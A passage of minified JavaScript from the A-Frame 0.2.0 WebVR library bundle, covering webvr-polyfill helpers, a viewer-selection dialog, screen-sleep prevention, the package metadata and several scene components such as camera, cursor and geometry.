r=e("./math-util.js"),n=e("./util.js"),o=.5;i.prototype.getOrientation=function(){return this.orientation.setFromEulerXYZ(0,0,this.theta),this.orientation},i.prototype.resetSensor=function(){this.theta=0},i.prototype.onTouchStart_=function(e){1==e.touches.length&&(this.rotateStart.set(e.touches[0].pageX,e.touches[0].pageY),this.isTouching=!0)},i.prototype.onTouchMove_=function(e){if(this.isTouching){this.rotateEnd.set(e.touches[0].pageX,e.touches[0].pageY),this.rotateDelta.subVectors(this.rotateEnd,this.rotateStart),this.rotateStart.copy(this.rotateEnd),n.isIOS()&&(this.rotateDelta.x*=-1);var t=document.body;this.theta+=2*Math.PI*this.rotateDelta.x/t.clientWidth*o}},i.prototype.onTouchEnd_=function(){this.isTouching=!1},t.exports=i},{"./math-util.js":16,"./util.js":24}],24:[function(e,t){var i=e("object-assign"),r=window.Util||{};r.MIN_TIMESTEP=.001,r.MAX_TIMESTEP=1,r.base64=function(e,t){return"data:"+e+";base64,"+t},r.clamp=function(e,t,i){return Math.min(Math.max(t,e),i)},r.lerp=function(e,t,i){return e+(t-e)*i},r.isIOS=function(){var e=/iPad|iPhone|iPod/.test(navigator.platform);return function(){return e}}(),r.isSafari=function(){var e=/^((?!chrome|android).)*safari/i.test(navigator.userAgent);return function(){return e}}(),r.isFirefoxAndroid=function(){var e=-1!==navigator.userAgent.indexOf("Firefox")&&-1!==navigator.userAgent.indexOf("Android");return function(){return e}}(),r.isLandscapeMode=function(){return 90==window.orientation||-90==window.orientation},r.isTimestampDeltaValid=function(e){return isNaN(e)?!1:e<=r.MIN_TIMESTEP?!1:e>r.MAX_TIMESTEP?!1:!0},r.getScreenWidth=function(){return Math.max(window.screen.width,window.screen.height)*window.devicePixelRatio},r.getScreenHeight=function(){return Math.min(window.screen.width,window.screen.height)*window.devicePixelRatio},r.requestFullscreen=function(e){if(e.requestFullscreen)e.requestFullscreen();else if(e.webkitRequestFullscreen)e.webkitRequestFullscreen();else if(e.mozRequestFullScreen)e.mozRequestFullScreen();else{if(!e.msRequestFullscreen)return!1;e.msRequestFullscreen()}return!0},r.exitFullscreen=function(){if(document.exitFullscreen)document.exitFullscreen();else if(document.webkitExitFullscreen)document.webkitExitFullscreen();else if(document.mozCancelFullScreen)document.mozCancelFullScreen();else{if(!document.msExitFullscreen)return!1;document.msExitFullscreen()}return!0},r.getFullscreenElement=function(){return document.fullscreenElement||document.webkitFullscreenElement||document.mozFullScreenElement||document.msFullscreenElement},r.linkProgram=function(e,t,i,r){var n=e.createShader(e.VERTEX_SHADER);e.shaderSource(n,t),e.compileShader(n);var o=e.createShader(e.FRAGMENT_SHADER);e.shaderSource(o,i),e.compileShader(o);var a=e.createProgram();e.attachShader(a,n),e.attachShader(a,o);for(var s in r)e.bindAttribLocation(a,r[s],s);return e.linkProgram(a),e.deleteShader(n),e.deleteShader(o),a},r.getProgramUniforms=function(e,t){for(var i={},r=e.getProgramParameter(t,e.ACTIVE_UNIFORMS),n="",o=0;r>o;o++){var a=e.getActiveUniform(t,o);n=a.name.replace("[0]",""),i[n]=e.getUniformLocation(t,n)}return i},r.orthoMatrix=function(e,t,i,r,n,o,a){var s=1/(t-i),c=1/(r-n),u=1/(o-a);return e[0]=-2*s,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=-2*c,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=2*u,e[11]=0,e[12]=(t+i)*s,e[13]=(n+r)*c,e[14]=(a+o)*u,e[15]=1,e},r.isMobile=function(){var e=!1;return function(t){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(t)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(t.substr(0,4)))&&(e=!0)}(navigator.userAgent||navigator.vendor||window.opera),e},r.extend=i,r.safariCssSizeWorkaround=function(e){if(r.isIOS()){var t=e.style.width,i=e.style.height;e.style.width=parseInt(t)+1+"px",e.style.height=parseInt(i)+"px",console.log("Resetting width to...",t),setTimeout(function(){console.log("Done. Width is now",t),e.style.width=t,e.style.height=i},100)}window.Util=r,window.canvas=e},t.exports=r},{"object-assign":2}],25:[function(e,t){function i(){try{this.selectedKey=localStorage.getItem(a)||o}catch(e){console.error("Failed to load viewer profile: %s",e)}this.dialog=this.createDialog_(n.Viewers),this.root=null}var r=e("./emitter.js"),n=(e("./util.js"),e("./device-info.js")),o="CardboardV1",a="WEBVR_CARDBOARD_VIEWER",s="webvr-polyfill-viewer-selector";i.prototype=new r,i.prototype.show=function(e){this.root=e,e.appendChild(this.dialog);var t=this.dialog.querySelector("#"+this.selectedKey);t.checked=!0,this.dialog.style.display="block"},i.prototype.hide=function(){this.root&&this.root.contains(this.dialog)&&this.root.removeChild(this.dialog),this.dialog.style.display="none"},i.prototype.getCurrentViewer=function(){return n.Viewers[this.selectedKey]},i.prototype.getSelectedKey_=function(){var e=this.dialog.querySelector("input[name=field]:checked");return e?e.id:null},i.prototype.onSave_=function(){if(this.selectedKey=this.getSelectedKey_(),!this.selectedKey||!n.Viewers[this.selectedKey])return void console.error("ViewerSelector.onSave_: this should never happen!");this.emit("change",n.Viewers[this.selectedKey]);try{localStorage.setItem(a,this.selectedKey)}catch(e){console.error("Failed to save viewer profile: %s",e)}this.hide()},i.prototype.createDialog_=function(e){var t=document.createElement("div");t.classList.add(s),t.style.display="none";var i=document.createElement("div"),r=i.style;r.position="fixed",r.left=0,r.top=0,r.width="100%",r.height="100%",r.background="rgba(0, 0, 0, 0.3)",i.addEventListener("click",this.hide.bind(this));var n=280,o=document.createElement("div"),r=o.style;r.boxSizing="border-box",r.position="fixed",r.top="24px",r.left="50%",r.marginLeft=-n/2+"px",r.width=n+"px",r.padding="24px",r.overflow="hidden",r.background="#fafafa",r.fontFamily="'Roboto', sans-serif",r.boxShadow="0px 5px 20px #666",o.appendChild(this.createH1_("Select your viewer"));for(var a in e)o.appendChild(this.createChoice_(a,e[a].label));return o.appendChild(this.createButton_("Save",this.onSave_.bind(this))),t.appendChild(i),t.appendChild(o),t},i.prototype.createH1_=function(e){var t=document.createElement("h1"),i=t.style;return i.color="black",i.fontSize="20px",i.fontWeight="bold",i.marginTop=0,i.marginBottom="24px",t.innerHTML=e,t},i.prototype.createChoice_=function(e,t){var i=document.createElement("div");i.style.marginTop="8px",i.style.color="black";var r=document.createElement("input");r.style.fontSize="30px",r.setAttribute("id",e),r.setAttribute("type","radio"),r.setAttribute("value",e),r.setAttribute("name","field");var n=document.createElement("label");return n.style.marginLeft="4px",n.setAttribute("for",e),n.innerHTML=t,i.appendChild(r),i.appendChild(n),i},i.prototype.createButton_=function(e,t){var i=document.createElement("button");i.innerHTML=e;var r=i.style;return r["float"]="right",r.textTransform="uppercase",r.color="#1094f7",r.fontSize="14px",r.letterSpacing=0,r.border=0,r.background="none",r.marginTop="16px",i.addEventListener("click",t),i},t.exports=i},{"./device-info.js":9,"./emitter.js":14,"./util.js":24}],26:[function(e,t){function i(){var e=document.createElement("video");e.addEventListener("ended",function(){e.play()}),this.request=function(){e.paused&&(e.src=o.base64("video/mp4",your_sha256_hash0mvb+gABX5AAlw/your_sha256_hashyour_sha256_hashkAAAAAdJr2/rSa9v6AAAAAQAAAAAAlw/your_sha256_hashyour_sha256_hashAAAAG3G1kaWEAAAAgbWRoZAAAAADSa9v60mvb+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAADFhdmNDAWQAC//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashACRRtZGF0AAACrgX//6vcRem95tlIt5Ys2CDZI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashWIhAAQ/8ltlOeyour_sha512_hash+fyaL6efyour_sha512_hashEgQAAAA5BmmhJqEFomUwIIf/+4QAAAApBnoZFESw//76BAAAACAGepXRDf8SBAAAACAGep2pDf8SAAAAADkGarEmoQWyZTAgh//7gAAAACkGeykUVLD//voEAAAAIAZ7pdEN/xIAAAAAIAZ7rakN/xIAAAAAOQZrwSahBbJlMCCH//uEAAAAKQZ8ORRUsP/++gQAAAAgBny10Q3/EgQAAAAgBny9qQ3/EgAAAAA5BmzRJqEFsmUwIIf/+4AAAAApBn1JFFSw//your_sha512_hash1dENyour_sha512_hash/tqQ3/EgQAAAA5Bm+your_sha512_hash//7gAAAACkGeQkUVLD//voEAAAAIAZ5hdEN/xIAAAAAIAZ5jakN/xIEAAAAOQZpoSahBbJlMCCH//uEAAAAKQZ6GRRUsP/++gQAAAAgBnqV0Q3/EgQAAAAgBnqdqQ3/EgAAAAA5BmqxJqEFsmUwIIf/+4AAAAApBnspFFSw//76BAAAACAGe6XRDf8SAAAAACAGe62pDf8SAAAAADkGa8EmoQWyZTAgh//7hAAAACkGfDkUVLD//voEAAAAIAZ8tdEN/xIEAAAAIAZ8vakN/xIAAAAAOQZs0SahBbJlMCCH//uAAAAAKQZ9SRRUsP/++gQAAAAgBn3F0Q3/EgAAAAAgBn3NqQ3/EgAAAAA5Bm3hJqEFsmUwIIf/+4QAAAApBn5ZFFSw//your_sha512_hash5dEN/xIAAAAAIAZ/7akN/xIEAAAAOQZvgSahBbJlMCCH//uEAAAAKQZ4eRRUsP/++gAAAAAgBnj10Q3/EgAAAAAgBnj9qQ3/EgQAAAA5BmiRJqEFsmUwIIf/+4AAAAApBnkJFFSw//76BAAAACAGeYXRDf8SAAAAACAGeY2pDf8SBAAAADkGaaEmoQWyZTAgh//7hAAAACkGehkUVLD//voEAAAAIAZ6ldEN/xIEAAAAIAZ6nakN/xIAAAAAOQZqsSahBbJlMCCH//uAAAAAKQZ7KRRUsP/++gQAAAAgBnul0Q3/EgAAAAAgBnutqQ3/EgAAAAA5BmvBJqEFsmUwIIf/+4QAAAApBnw5FFSw//your_sha256_hash12_hash+WRRUsP/++gAAAAAgBn7V0Q3your_sha512_hash+2pDf8SBAAAADkGb4EmoQWyZTAgh//7hAAAACkGeHkUVLD//voAAAAAIAZ49dEN/xIAAAAAIAZ4/akN/xIEAAAAOQZokSahBbJlMCCH//uAAAAAKQZ5CRRUsP/++gQAAAAgBnmF0Q3/EgAAAAAgBnmNqQ3/EgQAAAA5BmmhJqEFsmUwIIf/+4QAAAApBnoZFFSw//76BAAAACAGepXRDf8SBAAAACAGep2pDf8SAAAAADkGarEmoQWyZTAgh//7gAAAACkGeykUVLD//voEAAAAIAZ7pdEN/xIAAAAAIAZ7rakN/xIAAAAAPQZruSahBbJlMFEw3//7B"),e.play())},this.release=function(){e.pause(),e.src=""}}function r(){var e=null;this.request=function(){e||(e=setInterval(function(){window.location=window.location,setTimeout(window.stop,0)},3e4))},this.release=function(){e&&(clearInterval(e),e=null)}}function n(){var e=navigator.userAgent||navigator.vendor||window.opera;return e.match(/iPhone/i)||e.match(/iPod/i)?r:i}var o=e("./util.js");t.exports=n()},{"./util.js":24}],27:[function(e,t){function i(){this.displays=[],this.devices=[],this.devicesPopulated=!1,this.nativeWebVRAvailable=this.isWebVRAvailable(),this.nativeLegacyWebVRAvailable=this.isDeprecatedWebVRAvailable(),this.nativeLegacyWebVRAvailable||(this.nativeWebVRAvailable||this.enablePolyfill(),WebVRConfig.ENABLE_DEPRECATED_API&&this.enableDeprecatedPolyfill())}e("es6-promise").polyfill();var r=e("./cardboard-vr-display.js"),n=e("./mouse-keyboard-vr-display.js"),o=e("./base.js").VRDisplay,a=e("./base.js").HMDVRDevice,s=e("./base.js").PositionSensorVRDevice,c=e("./display-wrappers.js").VRDisplayHMDDevice,u=e("./display-wrappers.js").VRDisplayPositionSensorDevice;i.prototype.isWebVRAvailable=function(){return"getVRDisplays"in navigator},i.prototype.isDeprecatedWebVRAvailable=function(){return"getVRDevices"in navigator||"mozGetVRDevices"in navigator},i.prototype.populateDevices=function(){if(!this.devicesPopulated){var e=null;this.isCardboardCompatible()&&(e=new r,this.displays.push(e),WebVRConfig.ENABLE_DEPRECATED_API&&(this.devices.push(new c(e)),this.devices.push(new u(e)))),this.isMobile()||WebVRConfig.MOUSE_KEYBOARD_CONTROLS_DISABLED||(e=new n,this.displays.push(e),WebVRConfig.ENABLE_DEPRECATED_API&&(this.devices.push(new c(e)),this.devices.push(new u(e)))),this.devicesPopulated=!0}},i.prototype.enablePolyfill=function(){navigator.getVRDisplays=this.getVRDisplays.bind(this),window.VRDisplay=o},i.prototype.enableDeprecatedPolyfill=function(){navigator.getVRDevices=this.getVRDevices.bind(this),window.HMDVRDevice=a,window.PositionSensorVRDevice=s},i.prototype.getVRDisplays=function(){this.populateDevices();var e=this.displays;return new Promise(function(t,i){try{t(e)}catch(r){i(r)}})},i.prototype.getVRDevices=function(){console.warn("getVRDevices is deprecated. Please update your code to use getVRDisplays instead.");var e=this;return new Promise(function(t,i){try{if(!e.devicesPopulated){if(e.nativeWebVRAvailable)return navigator.getVRDisplays(function(i){for(var r=0;r<i.length;++r)e.devices.push(new c(i[r])),e.devices.push(new u(i[r]));e.devicesPopulated=!0,t(e.devices)},i);if(e.nativeLegacyWebVRAvailable)return(navigator.getVRDDevices||navigator.mozGetVRDevices)(function(i){for(var r=0;r<i.length;++r)i[r]instanceof a&&e.devices.push(i[r]),i[r]instanceof s&&e.devices.push(i[r]);e.devicesPopulated=!0,t(e.devices)},i)}e.populateDevices(),t(e.devices)}catch(r){i(r)}})},i.prototype.isMobile=function(){return/Android/i.test(navigator.userAgent)||/iPhone|iPad|iPod/i.test(navigator.userAgent)},i.prototype.isCardboardCompatible=function(){return this.isMobile()||WebVRConfig.FORCE_ENABLE_VR},t.exports=i},{"./base.js":4,"./cardboard-vr-display.js":7,"./display-wrappers.js":10,"./mouse-keyboard-vr-display.js":17,"es6-promise":1}]},{},[15])}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],20:[function(e,t){t.exports={name:"aframe",version:"0.2.0",description:"Building blocks for the VR Web",homepage:"path_to_url",main:"dist/aframe.js",scripts:{browserify:"browserify src/index.js -s 'AFRAME' -p browserify-derequire",build:"mkdirp build/ && npm run browserify -- --debug -o build/aframe.js",dev:"npm run build && node ./scripts/budo",dist:"mkdirp dist/ && npm run browserify -s -- --debug | exorcist dist/aframe.js.map > dist/aframe.js && uglifyjs dist/aframe.js -c warnings=false -m -o dist/aframe.min.js","gh-pages":"npm run ghpages",ghpages:"node ./scripts/gh-pages",lint:"semistandard -v | snazzy",precommit:"npm run lint",preghpages:"npm run dist && rimraf gh-pages && mkdirp gh-pages && cp -r {.nojekyll,dist,lib,examples,index.html,style} gh-pages/. 2>/dev/null || : && git checkout dist/ && replace 'build/aframe.js' 'dist/aframe.min.js' gh-pages/ -r --silent","release:bump":"npm run dist && git commit -am 'bump dist' && npm version patch --preminor","release:push":"npm login && npm publish && git push --follow-tags",start:"npm run dev",test:"karma start ./tests/karma.conf.js","test:firefox":"karma start ./tests/karma.conf.js --browsers firefox_latest","test:chrome":"karma start ./tests/karma.conf.js --browsers Chrome","test:ci":"TEST_ENV=ci karma start ./tests/karma.conf.js --single-run --browsers firefox_latest",version:"npm run dist"},repository:"aframevr/aframe",license:"MIT",dependencies:{"browserify-css":"^0.8.2",debug:"^2.2.0","deep-assign":"^2.0.0","document-register-element":"dmarcos/document-register-element#8ccc532b7","promise-polyfill":"^3.1.0","object-assign":"^4.0.1",present:"0.0.6","style-attr":"^1.0.2",three:"^0.76.1","tween.js":"^15.0.0","webvr-polyfill":"borismus/webvr-polyfill#5fdd44b"},devDependencies:{browserify:"^11.0.1","browserify-derequire":"^0.9.4",budo:"^8.1.0",chai:"^3.5.0","chai-shallow-deep-equal":"^1.3.0",exorcist:"^0.4.0","gh-pages":"^0.6.0",husky:"^0.10.1",karma:"^0.13.15","karma-browserify":"^4.4.0","karma-chai-shallow-deep-equal":"0.0.4","karma-chrome-launcher":"^0.2.3","karma-env-preprocessor":"^0.1.1","karma-firefox-launcher":"^0.1.6","karma-mocha":"^0.2.0","karma-mocha-reporter":"^1.1.0","karma-sinon-chai":"^1.1.0",lolex:"^1.4.0",mkdirp:"0.5.1",mocha:"^2.3.3","mozilla-download":"^1.0.5",open:"0.0.5",replace:"^0.3.0",rimraf:"2.5.0",semistandard:"^7.0.2",sinon:"^1.17.3","sinon-chai":"^2.8.0",snazzy:"^3.0.0",uglifyjs:"^2.4.10"},link:!0,browserify:{transform:["browserify-css"]},semistandard:{ignore:["build/**","dist/**","examples/**/shaders/*.js","**/vendor/**"]},keywords:["aframe","vr","webvr","3d","three","components","elements"],"browserify-css":{minify:!0},engines:{node:">= 0.12.7",npm:"^2.12.1"}}},{}],21:[function(e,t){var i=e("../core/component").registerComponent,r=e("../lib/three");t.exports.Component=i("blend-model",{schema:{type:"src"},init:function(){this.model=null},update:function(){var e=this,t=this.el,i=this.data;i&&(this.remove(),this.model=new r.BlendCharacter,this.model.load(i,function(){t.setObject3D("mesh",e.model),t.emit("model-loaded",{format:"blend",model:e.model}),e.model.castShadow=!0,e.model.receiveShadow=!0,e.model.material.shading=r.FlatShading,e.model.geometry.computeBoundingBox()}))},remove:function(){this.model&&this.el.removeObject3D("mesh")}})},{"../core/component":57,"../lib/three":101}],22:[function(e,t){var i=e("../core/component").registerComponent,r=e("../lib/three"),n=e("../utils/"),o=n.checkHeadsetConnected;t.exports.Component=i("camera",{schema:{active:{"default":!0},far:{"default":1e4},fov:{"default":80,min:0},near:{"default":.5,min:0},userHeight:{"default":0,min:0},zoom:{"default":1,min:0}},init:function(){var e=this.camera=new r.PerspectiveCamera,t=this.el.sceneEl;this.el.setObject3D("camera",e),this.bindMethods(),t.addEventListener("enter-vr",this.removeHeightOffset),t.addEventListener("enter-vr",this.saveCameraPose),t.addEventListener("exit-vr",this.restoreCameraPose),t.addEventListener("exit-vr",this.addHeightOffset)},bindMethods:function(){this.addHeightOffset=this.addHeightOffset.bind(this),this.removeHeightOffset=this.removeHeightOffset.bind(this),this.saveCameraPose=this.saveCameraPose.bind(this),this.restoreCameraPose=this.restoreCameraPose.bind(this)},addHeightOffset:function(){var e,t=this.el;this.userHeightOffset||(e=t.getComputedAttribute("position")||{x:0,y:0,z:0},this.userHeightOffset=this.data.userHeight,t.setAttribute("position",{x:e.x,y:e.y+this.userHeightOffset,z:e.z}))},removeHeightOffset:function(){var e,t=this.el,i=this.userHeightOffset,r=this.headsetConnected||o();i&&r&&(this.userHeightOffset=void 0,e=t.getAttribute("position")||{x:0,y:0,z:0},t.setAttribute("position",{x:e.x,y:e.y-i,z:e.z}))},saveCameraPose:function(){var e=this.el,t=this.headsetConnected||o();!this.savedPose&&t&&(this.savedPose={position:e.getAttribute("position"),rotation:e.getAttribute("rotation")})},restoreCameraPose:function(){var e=this.el,t=this.savedPose;t&&(e.setAttribute("position",t.position),e.setAttribute("rotation",t.rotation),this.savedPose=void 0)},remove:function(){var e=this.el.sceneEl;this.el.removeObject3D("camera"),e.removeEventListener("enter-vr",this.removeHeightOffset),e.removeEventListener("enter-vr",this.saveCameraPose),e.removeEventListener("exit-vr",this.restoreCameraPose),e.removeEventListener("exit-vr",this.addHeightOffset)},update:function(e){var t=this.el,i=this.data,r=this.camera,n=this.system;e&&e.userHeight===i.userHeight||(this.removeHeightOffset(),this.addHeightOffset()),r.aspect=i.aspect||window.innerWidth/window.innerHeight,r.far=i.far,r.fov=i.fov,r.near=i.near,r.zoom=i.zoom,r.updateProjectionMatrix(),e&&e.active===i.active||(i.active&&n.activeCameraEl!==this.el?n.setActiveCamera(t):i.active||n.activeCameraEl!==this.el||n.disableActiveCamera())}})},{"../core/component":57,"../lib/three":101,"../utils/":117}],23:[function(e,t){var i=e("../core/component").registerComponent,r=e("../lib/three");t.exports.Component=i("collada-model",{schema:{type:"src"},init:function(){this.model=null,this.loader=new r.ColladaLoader,this.loader.options.convertUpAxis=!0},update:function(){var e=this,t=this.el,i=this.data;i&&(this.remove(),this.loader.load(i,function(i){e.model=i.scene,t.setObject3D("mesh",e.model),t.emit("model-loaded",{format:"collada",model:e.model})}))},remove:function(){this.model&&this.el.removeObject3D("mesh")}})},{"../core/component":57,
"../lib/three":101}],24:[function(e,t){var i=e("../core/component").registerComponent,r=e("../utils/"),n={CLICK:"click",MOUSEENTER:"mouseenter",MOUSEDOWN:"mousedown",MOUSELEAVE:"mouseleave",MOUSEUP:"mouseup"},o={FUSING:"cursor-fusing",HOVERING:"cursor-hovering",HOVERED:"cursor-hovered"};t.exports.Component=i("cursor",{dependencies:["raycaster"],schema:{fuse:{"default":r.isMobile()},fuseTimeout:{"default":1500,min:0}},init:function(){var e=this.el,t=e.sceneEl.canvas;return this.fuseTimeout=void 0,this.mouseDownEl=null,this.intersectedEl=null,t?(t.addEventListener("mousedown",this.onMouseDown.bind(this)),t.addEventListener("mouseup",this.onMouseUp.bind(this)),e.addEventListener("raycaster-intersection",this.onIntersection.bind(this)),void e.addEventListener("raycaster-intersection-cleared",this.onIntersectionCleared.bind(this))):void e.sceneEl.addEventListener("render-target-loaded",this.init.bind(this))},onMouseDown:function(){this.twoWayEmit(n.MOUSEDOWN),this.mouseDownEl=this.intersectedEl},onMouseUp:function(){this.twoWayEmit(n.MOUSEUP),!this.data.fuse&&this.intersectedEl&&this.mouseDownEl===this.intersectedEl&&this.twoWayEmit(n.CLICK)},onIntersection:function(e){var t=this,i=this.el,r=this.data,a=e.detail.els[0];this.intersectedEl!==a&&(this.intersectedEl=a,i.addState(o.HOVERING),a.addState(o.HOVERED),t.twoWayEmit(n.MOUSEENTER),0!==r.fuseTimeout&&r.fuse&&(i.addState(o.FUSING),this.fuseTimeout=setTimeout(function(){i.removeState(o.FUSING),t.twoWayEmit(n.CLICK)},r.fuseTimeout)))},onIntersectionCleared:function(e){var t=this.el,i=e.detail.el;i&&this.intersectedEl&&(i.removeState(o.HOVERED),t.removeState(o.HOVERING),t.removeState(o.FUSING),this.twoWayEmit(n.MOUSELEAVE),this.intersectedEl=null,clearTimeout(this.fuseTimeout))},twoWayEmit:function(e){var t=this.intersectedEl;this.el.emit(e,{intersectedEl:this.intersectedEl}),t&&t.emit(e,{cursorEl:this.el})}})},{"../core/component":57,"../utils/":117}],25:[function(e,t){var i=e("../utils/debug"),r=e("../core/geometry").geometries,n=e("../core/geometry").geometryNames,o=e("../core/component").registerComponent,a=e("../lib/three"),s=new a.Geometry,c=i("components:geometry:warn");t.exports.Component=o("geometry",{schema:{buffer:{"default":!0},mergeTo:{type:"selector"},primitive:{"default":"box",oneOf:n},skipCache:{"default":!1}},init:function(){this.geometry=null},update:function(e){var t=this.data,i=this.el.getOrCreateObject3D("mesh",a.Mesh),r=this.system;this.geometry&&(r.unuseGeometry(e),this.geometry=null),this.geometry=i.geometry=r.getOrCreateGeometry(t),t.mergeTo&&this.mergeTo(t.mergeTo)},mergeTo:function(e){var t,i=this.el,r=i.getObject3D("mesh");return e?e===i?void c("Source and target geometries cannot be the same for merge"):(t=e.getObject3D("mesh"))?t.geometry instanceof a.Geometry==!1||r.geometry instanceof a.Geometry==!1?void c("Geometry merge is only available for `THREE.Geometry` types. Check that both of the merging geometry and the target geometry have `buffer` set to false"):this.data.skipCache===!1?void c("Cached geometries are not allowed to merge. Set `skipCache` to true"):(r.parent.updateMatrixWorld(),t.geometry.merge(r.geometry,r.matrixWorld),i.emit("geometry-merged",{mergeTarget:e}),void i.parentNode.removeChild(i)):(t=e.getOrCreateObject3D("mesh",a.Mesh),void e.setAttribute("material",i.getComputedAttribute("material"))):void c("There is not a valid entity to merge the geometry to")},remove:function(){this.system.unuseGeometry(this.data),this.el.getObject3D("mesh").geometry=s,this.geometry=null},updateSchema:function(e){var t=e.primitive,i=this.data&&this.data.primitive,n=r[t]&&r[t].schema;if(!n)throw new Error("Unknown geometry schema `"+t+"`");i&&i===t||this.extendSchema(n)}})},{"../core/component":57,"../core/geometry":58,"../lib/three":101,"../utils/debug":115}],26:[function(e,t){var i=e("../core/component").registerComponent,r="path_to_url",n="path_to_url";t.exports.Component=i("hand-controls",{schema:{"default":"left"},init:function(){var e=this;this.onGripDown=function(){e.handleButton("grip","down")},this.onGripUp=function(){e.handleButton("grip","up")},this.onTrackpadDown=function(){e.handleButton("trackpad","down")},this.onTrackpadUp=function(){e.handleButton("trackpad","up")},this.onTriggerDown=function(){e.handleButton("trigger","down")},this.onTriggerUp=function(){e.handleButton("trigger","up")},this.addEventListeners()},play:function(){this.addEventListeners()},stop:function(){this.removeEventListeners()},addEventListeners:function(){var e=this.el;e.addEventListener("gripdown",this.onGripDown),e.addEventListener("gripup",this.onGripUp),e.addEventListener("trackpaddown",this.onTrackpadDown),e.addEventListener("trackpadup",this.onTrackpadUp),e.addEventListener("triggerdown",this.onTriggerDown),e.addEventListener("triggerup",this.onTriggerUp)},removeEventListeners:function(){var e=this.el;e.removeEventListener("gripdown",this.onGripDown),e.removeEventListener("gripup",this.onGripUp),e.removeEventListener("trackpaddown",this.onTrackpadDown),e.removeEventListener("trackpadup",this.onTrackpadUp),e.removeEventListener("triggerdown",this.onTriggerDown),e.removeEventListener("triggerup",this.onTriggerUp)},update:function(){var e,t=this.el,i=this.data;e="left"===i?"url("+r+")":"url("+n+")",t.setAttribute("vive-controls",{hand:i,model:!1}),t.setAttribute("blend-model",e)},handleButton:function(e,t){var i=this.el,r="down"===t;switch(e){case"trackpad":if(r===this.trackpadPressed)return;this.trackpadPressed=r,this.playAnimation("thumb",!r),t=r?"thumbup":"thumbdown",i.emit(t);break;case"trigger":if(r===this.triggerPressed)return;this.triggerPressed=r,this.playAnimation("pointing",!r),t=r?"pointup":"pointdown",i.emit(t);break;case"grip":if(r===this.gripPressed)return;this.gripPressed=r,this.playAnimation("close",!r),t=r?"gripclose":"gripopen",i.emit(t)}},playAnimation:function(e,t){var 